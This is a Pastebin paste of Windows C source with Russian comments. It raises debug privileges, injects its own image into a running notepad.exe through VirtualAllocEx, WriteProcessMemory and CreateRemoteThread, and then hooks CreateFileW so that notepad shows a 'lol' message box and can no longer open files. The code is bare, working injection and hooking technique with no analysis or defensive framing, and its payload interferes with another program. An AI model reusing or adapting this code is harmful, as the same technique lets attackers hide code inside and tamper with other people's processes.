Guest User

Untitled

a guest
Aug 8th, 2012
359
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 4.42 KB | None | 0 0
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <tlhelp32.h>
  4. #pragma comment(linker,"/BASE:0x13140000") // сдвигаем базу нашего процесса
  5. BOOL SetPrivilege(
  6.                   HANDLE hToken,          // access token handle
  7.                   LPCTSTR lpszPrivilege,  // name of privilege to enable/disable
  8.                   BOOL bEnablePrivilege   // to enable or disable privilege
  9.                   )
  10. {
  11.     TOKEN_PRIVILEGES tp;
  12.     LUID luid;
  13.  
  14.     if ( !LookupPrivilegeValue(
  15.         NULL,            // lookup privilege on local system
  16.         lpszPrivilege,   // privilege to lookup
  17.         &luid ) )        // receives LUID of privilege
  18.     {
  19.         //printf("LookupPrivilegeValue error: %u\n", GetLastError() );
  20.         return FALSE;
  21.     }
  22.  
  23.     tp.PrivilegeCount = 1;
  24.     tp.Privileges[0].Luid = luid;
  25.     if (bEnablePrivilege)
  26.         tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  27.     else
  28.         tp.Privileges[0].Attributes = 0;
  29.  
  30.     // Enable the privilege or disable all privileges.
  31.  
  32.     if ( !AdjustTokenPrivileges(
  33.         hToken,
  34.         FALSE,
  35.         &tp,
  36.         sizeof(TOKEN_PRIVILEGES),
  37.         (PTOKEN_PRIVILEGES) NULL,
  38.         (PDWORD) NULL) )
  39.     {
  40.         //printf("AdjustTokenPrivileges error: %u\n", GetLastError() );
  41.         return FALSE;
  42.     }
  43.  
  44.     if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
  45.  
  46.     {
  47.         //printf("The token does not have the specified privilege. \n");
  48.         return FALSE;
  49.     }
  50.  
  51.     return TRUE;
  52. }
  53.  
  54.  
  55.  
  56. DWORD AW;
  57. struct old{
  58.     DWORD oldw;
  59. };
  60. DWORD Bytes,Bw;
  61.  
  62. struct  far_jmp{
  63.     byte PuhsOp ;
  64.     void * PushArg;
  65.     byte RetOp;
  66. };
  67. far_jmp JmpMbw, JmpMba;
  68. old oldw,olda;
  69. DWORD oldp;
  70. DWORD GetProcessID(char*);
  71. BOOL Inject(HANDLE,DWORD(WINAPI* func)(LPVOID));
  72. DWORD WINAPI func(LPVOID);
  73.  
  74.  
  75.  
  76.  
  77. HANDLE WINAPI HCreateFileW(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurity, DWORD dwCreationDisp, DWORD dwFlags, HANDLE hTemplate)
  78. {
  79.     LoadLibrary("kernel32.dll");
  80.     LoadLibrary("user32.dll");
  81.     WriteProcessMemory(INVALID_HANDLE_VALUE, (void*)AW, (void*)&oldw, sizeof(far_jmp), &Bytes);
  82.     MessageBoxA(NULL,"lol",NULL,NULL);
  83.  
  84.     WriteProcessMemory(INVALID_HANDLE_VALUE, (void*)AW, (void*)&JmpMbw, sizeof(far_jmp), &Bytes);
  85.     return (HANDLE)-1;
  86. }
  87.  
  88.  
  89.  
  90.  
  91. int  main(void){
  92.     HANDLE hToken;
  93.  
  94.     OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hToken);
  95.     SetPrivilege(hToken,SE_DEBUG_NAME,TRUE);
  96.     CloseHandle(hToken);
  97.     if(!Inject(OpenProcess(PROCESS_ALL_ACCESS,false,GetProcessID("notepad.exe")),&func)) return MessageBoxA(NULL,"FUCK",NULL,NULL);
  98.  
  99.     return true;
  100.  
  101. }
  102.  
  103. //PGNSI AW;
  104.  
  105. DWORD WINAPI func(LPVOID)
  106.  
  107. {
  108.  
  109.     HANDLE hker = GetModuleHandle("Kernel32.dll");
  110.  
  111.     AW = (DWORD)GetProcAddress(GetModuleHandle("Kernel32.dll"), "CreateFileW");
  112.     if (ReadProcessMemory(GetCurrentProcess(), (void*)AW,&oldw, sizeof(oldw), &Bw)!=NULL)
  113.         MessageBoxA(NULL,"Good Read",NULL,NULL);
  114.     JmpMbw.PuhsOp  = 0x68;
  115.     JmpMbw.PushArg = &HCreateFileW;
  116.     JmpMbw.RetOp   = 0xC3;
  117.     if (WriteProcessMemory(GetCurrentProcess(), (void*)AW, &JmpMbw, sizeof(far_jmp), &Bytes)!=NULL)
  118.         MessageBoxA(NULL,"Good Write",NULL,NULL);
  119.     return true;
  120.  
  121. }
  122. //-------- поиск процесса ---------
  123. DWORD GetProcessID(char* lpNameProcess) // в параметре - имя процесса для внедрения
  124. {
  125.  
  126.     HANDLE snap;    PROCESSENTRY32 pentry32;
  127.  
  128.     snap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
  129.  
  130.     if(snap==INVALID_HANDLE_VALUE) return 0;
  131.  
  132.     pentry32.dwSize=sizeof(PROCESSENTRY32);
  133.  
  134.     if(!Process32First(snap,&pentry32)) {CloseHandle(snap);return 0;}
  135.  
  136.     do
  137.  
  138.     {
  139.  
  140.         if(!lstrcmpi(lpNameProcess,&pentry32.szExeFile[0]))
  141.  
  142.         {
  143.  
  144.             CloseHandle(snap);
  145.  
  146.             return pentry32.th32ProcessID;
  147.  
  148.         }
  149.  
  150.     }
  151.  
  152.     while(Process32Next(snap,&pentry32));
  153.  
  154.     CloseHandle(snap);
  155.  
  156.     return 0;
  157.  
  158. }
  159. //-------- функция внедрения в чужой процесс -------------------
  160.  
  161. BOOL Inject(HANDLE hProc,DWORD(WINAPI* func)(LPVOID))
  162.  
  163. {
  164.  
  165.     DWORD id;
  166.  
  167.     DWORD ByteOfWriten;
  168.  
  169.     HMODULE hModule = GetModuleHandle(NULL);
  170.  
  171.     DWORD size=((PIMAGE_OPTIONAL_HEADER)((LPVOID)((BYTE*)(hModule)+((PIMAGE_DOS_HEADER)(hModule))->e_lfanew+sizeof(DWORD)+sizeof(IMAGE_FILE_HEADER))))->SizeOfImage;
  172.  
  173.     char* hNewModule = (char*)VirtualAllocEx(hProc,hModule,size,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
  174.  
  175.     if(hNewModule==NULL) return false;
  176.  
  177.     WriteProcessMemory(hProc,hNewModule,hModule,size,&ByteOfWriten);
  178.  
  179.     if(ByteOfWriten!=size){return false;}
  180.  
  181.     HANDLE hThread=CreateRemoteThread(hProc,NULL,0,func,(LPVOID)hNewModule,0,&id);
  182.     if(hThread==0) return false;
  183.  
  184.     return true;
  185.  
  186. }
Advertisement
Add Comment
Please, Sign In to add comment